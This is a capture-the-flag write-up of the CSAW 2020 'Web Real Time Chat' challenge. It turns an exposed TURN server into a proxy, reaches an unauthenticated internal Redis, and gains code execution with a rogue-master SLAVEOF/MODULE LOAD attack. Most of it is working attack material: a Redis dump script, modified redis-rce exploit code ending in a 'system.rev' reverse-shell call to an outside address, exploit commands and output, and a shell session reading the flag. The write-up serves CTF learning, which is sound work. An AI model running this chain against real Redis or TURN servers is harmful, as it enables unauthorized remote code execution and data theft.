Tags: proxy redis rce web
Rating: 5.0
I haven't written anything in a long time. More than a year has passed since my last post, and more than 3 years since my first one.
However, I decided to start writing some writeups for CTFs again. This is the first one I'll be doing: CSAW quals. For this CTF, I was part of the team M@dHatters for this CTF, which was the team associated with Gatech's GreyHat club.
We were in the lead for a while in the middle, but then ran out of web and crypto problems to solve and everyone got near 100% completion. I'm still salty about that.
Web Real Time Chat
450 points, Web
This was a very interesting problem with very little guessing, compared to the two lower point webs, which were a guessfest. From the Docker configuration provided, we were able to figure out that there was a TURN server on the machine. It turns out that TURN is a protocol used for getting through NATs. That sounds very much like a proxy, and we could use it as such.
Unfortunately, I couldn't find many tools to interface with TURN, so I settled on an "a bit flaky" (but semi-functioning) proof-of-concept to convert a TURN server into an HTTP proxy called Turner on GitHub. Proxychains came in really useful after that - I made a copy of proxychains.conf and replaced all proxy servers to http 127.0.0.1 8080, the Turner server. Knowing that the docker container had an open port on port 5000, I was able to map the internal Docker network by accessing port 5000 on the lower few values of 172.17.0.0. The first challenge (widthless) was available on 172.17.0.4:5000, the third was available from 172.17.0.2:5000, and this challenge was available from 172.17.0.3:5000. As we can see, by curling 172.17.0.3:5000, we were able to get the HTML source of the website. (Note: turner is not 100% reliable, so it sometimes fails)
```
$ proxychains curl 172.17.0.3:5000
[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/turner-master/proxychain/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:5000 ... OK
<html>
<head>
<title>Real Time Chat</title>
</head>
<body>
<div id="container">
<h1>Real Time Chat</h1>
<h3 id="status"></h3>
<textarea id="dataChannelReceive" style="width: 100%" disabled></textarea>
<div id="send">
<input type="text" id="dataChannelSend" placeholder="Send a message" disabled></input>
<button id="sendButton" disabled>Send</button>
</div>
<hr/>
<button id="closeButton" disabled>Disconnect</button>
</div>
<script src="https://webrtc.github.io/adapter/adapter-latest.js"></script>
<script src="static/rtc.js"></script>
</body>
</html>
```
Now, through the Dockerfile, we know that there is a redis server installed on this machine too, but not exposed to the outside world. However, it is exposed to the internal docker network, and due to lack of username/password configuration, can be connected to and used by anyone. I tried connecting to it with
```
$ proxychains redis-cli -h 172.17.0.3
a few times, but that went nowhere, as I would get some gibberish output followed by a connection drop. So, I familiarized myself with the redis protocol.
It turns out that the redis protocol is just nicely-formatted commands and outputs with some length pre-specifications. Here is an example of a redis request and response (everything after # not part of the protocol):
*2\r\n # Redis requires a CRLF instead of just LF for line separations. This is represented by \r\n. This specifies a command with two arguments (including the command itself)
$4\r\n # This specifies that the next line will be 4 characters in length.
KEYS\r\n # This is the redis KEYS command, which prints out keys.
$1\r\n # This specifies that the next line will be 1 character in length.
*\r\n # KEYS * prints out all the keys.
After querying the server a few times, it turns out that there isn't any data in the database that contains the flag, even after making a script to dump the entire database:
$ cat tryHard.sh
#!/bin/sh
./turner -server web.chal.csaw.io:3478 2>&1 | grep channel &
A=$!
sleep 1
REDISRES="$(echo -ne '*2\r\n$4\r\nKEYS\r\n$1\r\n*\r\n' | proxychains nc 172.17.0.3 6379)"
NUMARGS=$(("`echo $REDISRES | grep '\*' | tr -d '*'`" + 1))
ARGS="`echo $REDISRES | grep '\$' -A1`"
echo -ne "*$NUMARGS\r\n\$4\r\nMGET\r\n$ARGS" | proxychains nc 172.17.0.3 6379
proxychains curl 172.17.0.3:5000
kill $A &>/dev/null
sleep 0.25
I guess we needed RCE. Through Google, I found a script that promised that for Redis v4-v5, and a binary to go along with it. If we send an INFO query to the server, it says it's running on redis v4. Perfect.
Unforunately, due to the HTTP server being finnicky and connections getting dropped, I had to restart the redis connection after every single request is sent. For that, I had to modify the script to support multiple commands at once, and not reuse the same connection:
def do(self, cmd):
toSend = ""
if type(cmd) == str:
toSend = mk_cmd(cmd)
else:
for c in cmd:
toSend += mk_cmd(c)
self.send(toSend) # Added multi-command functionality
buf = self.recv()
return buf
...snip...
remote.do(("SLAVEOF {} {}".format(lhost, lport), "CONFIG SET DIR /tmp/",
"CONFIG SET dbfilename {}".format(expfile))) # Compressed multiple requests into one
printback(remote)
sleep(2)
print("[*] Start listening on {}:{}".format(lhost, lport))
rogue = RogueServer(lhost, lport, remote, expfile)
print("[*] Tring to run payload")
rogue.exp()
sleep(2)
remote = Remote(rhost, rport) # Restart the connection on every request
remote.do("MODULE LOAD /tmp/{}".format(expfile))
remote = Remote(rhost, rport)
rsaddr = "1.2.3.4" # Totally my IP address
rsport = 1338
remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport))) # Open reverse shell right away
```
After making the modifications, though, the server was still having a problem with loading the module. I believed this was because Alpine Linux, Docker's default container, uses musl instead of glibc, so is incompatible with binaries compiled for my system. I solved this by downloading musl-gcc from the Arch repos and cross-compiling.
```
$ make CC=musl-gcc # Note that the output shows the commands now use musl-gcc.
...snip...
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o util.o util.c
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o strings.o strings.c
musl-gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../ -c -o sds.o sds.c
...snip...
```
By uploading our new musl-compiled payload, we get back a reverse shell at port 1338 on our machine.
```
$ proxychains python2 redis-rce.py -r 172.17.0.3 -p 6379 -L 1.2.3.4 -P 1337 -f exp_musl.so -v
[proxychains] config file found: /home/id01/Downloads/CTF/csaw2020_git/webRTC/redis-rce-master/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
█▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄
█ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀
█▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄
█ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀
█ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀
▀ ▀
[*] Connecting to 172.17.0.3:6379...
[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:8080
[*] Setting filename
[<-] '*3\r\n$7\r\nSLAVEOF\r\n$13\r\n1.2.3.4\r\n$4\r\n1337\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$5\r\n/tmp/\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$11\r\nexp_musl.so\r\n'
[->] +OK
+OK
+OK
[+] Accepted connection from 127.0.0.1:8080
[*] Start listening on 1.2.3.4:1337
[*] Tring to run payload
[+] Accepted connection from 216.165.2.41:42015
[->] PING
[<-] '+PONG\r\n'
[->] REPLCONF listening-port 6379
[<-] '+OK\r\n'
[->] REPLCONF capa eof capa psync2
[<-] '+OK\r\n'
[->] PSYNC 55427622da7ebca4741e350aaac1f5828e4b884f 1
[<-] '+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 0\r\n$46672\r\n\x7fELF\x02......x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK
[<-] '*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$16\r\n/tmp/exp_musl.so\r\n'
[->] +OK
[proxychains] Strict chain ... 127.0.0.1:8080 ... 172.17.0.3:6379 ... OK
[<-] '*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n*3\r\n$10\r\nsystem.rev\r\n$13\r\n1.2.3.4\r\n$4\r\n1338\r\n'
^CTraceback (most recent call last):
File "redis-rce.py", line 281, in <module>
main()
File "redis-rce.py", line 276, in main
runserver(options.rhost, options.rport, options.lhost, options.lport)
File "redis-rce.py", line 231, in runserver
remote.do(("SLAVEOF NO ONE", "system.rev {} {}".format(rsaddr, rsport)))
File "redis-rce.py", line 89, in do
buf = self.recv()
File "redis-rce.py", line 79, in recv
return din(self._sock, cnt)
File "redis-rce.py", line 37, in din
msg = sock.recv(cnt)
KeyboardInterrupt
```
And on our reverse shell:
```
$ nc -lp 1338
ls
bryce_was_here.so
dadadadad.so
dadadadad2.so
exp_lin.so
exp_musl.so
cd /
ls
app
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}
```